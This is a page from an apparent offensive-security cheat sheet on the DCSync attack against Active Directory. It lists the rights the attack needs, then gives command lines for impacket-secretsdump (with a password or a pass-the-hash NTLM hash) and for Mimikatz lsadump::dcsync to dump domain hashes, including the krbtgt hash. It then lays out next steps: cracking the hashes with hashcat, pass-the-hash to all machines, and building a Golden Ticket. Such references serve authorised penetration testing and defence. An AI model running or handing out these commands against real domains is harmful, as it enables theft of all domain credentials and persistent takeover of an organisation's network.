OPSECTLAS you are here: Active Directory
Active Directory

DCSync

reference 7 commands 2 tools

  1. Recon
  2. Enumerate
  3. Foothold
  4. PrivEsc
  5. Lateral
  6. Post-Ex

reached from Low-priv domain credsReplication rightsDomain Admin

needsReplication rightsDomain Admin
yieldsNT hashkrbtgt hash
toolsimpacketmimikatz
Requirements

Account with one of these rights on the domain: DS-Replication-Get-Changes, DS-Replication-Get-Changes-All (Domain Admins, Enterprise Admins, or explicitly delegated).

From Linux · impacket-secretsdump

impacket-secretsdump <DOMAIN>/<USER>:<PASS>@<DC-IP>
impacket-secretsdump <DOMAIN>/<USER>@<DC-IP> -hashes :<NTLM-HASH>

Dump specific user

impacket-secretsdump <DOMAIN>/<USER>:<PASS>@<DC-IP> -just-dc-user Administrator
impacket-secretsdump <DOMAIN>/<USER>:<PASS>@<DC-IP> -just-dc-user krbtgt

From Windows · Mimikatz

lsadump::dcsync /domain:<DOMAIN> /all
lsadump::dcsync /domain:<DOMAIN> /user:Administrator
lsadump::dcsync /domain:<DOMAIN> /user:krbtgt       # For Golden Ticket

What to do with the output:

1. Crack NTLM hashes: hashcat -m 1000 hashes.txt rockyou.txt

2. PTH with Administrator hash to all machines

3. Use krbtgt hash → create Golden Ticket

4. Dump to file: impacket-secretsdump ... | tee loot/dcsync.txt
connected
leads to
Pass-the-Hash (PTH)Pass-the-Ticket (PTT)Golden Ticket
follows
NTLM Relay & Coercion
via mimikatz
ACL / Misconfiguration ExploitationMimikatzWindows Loot & Proof
in playbooks
Active Directory Attack Path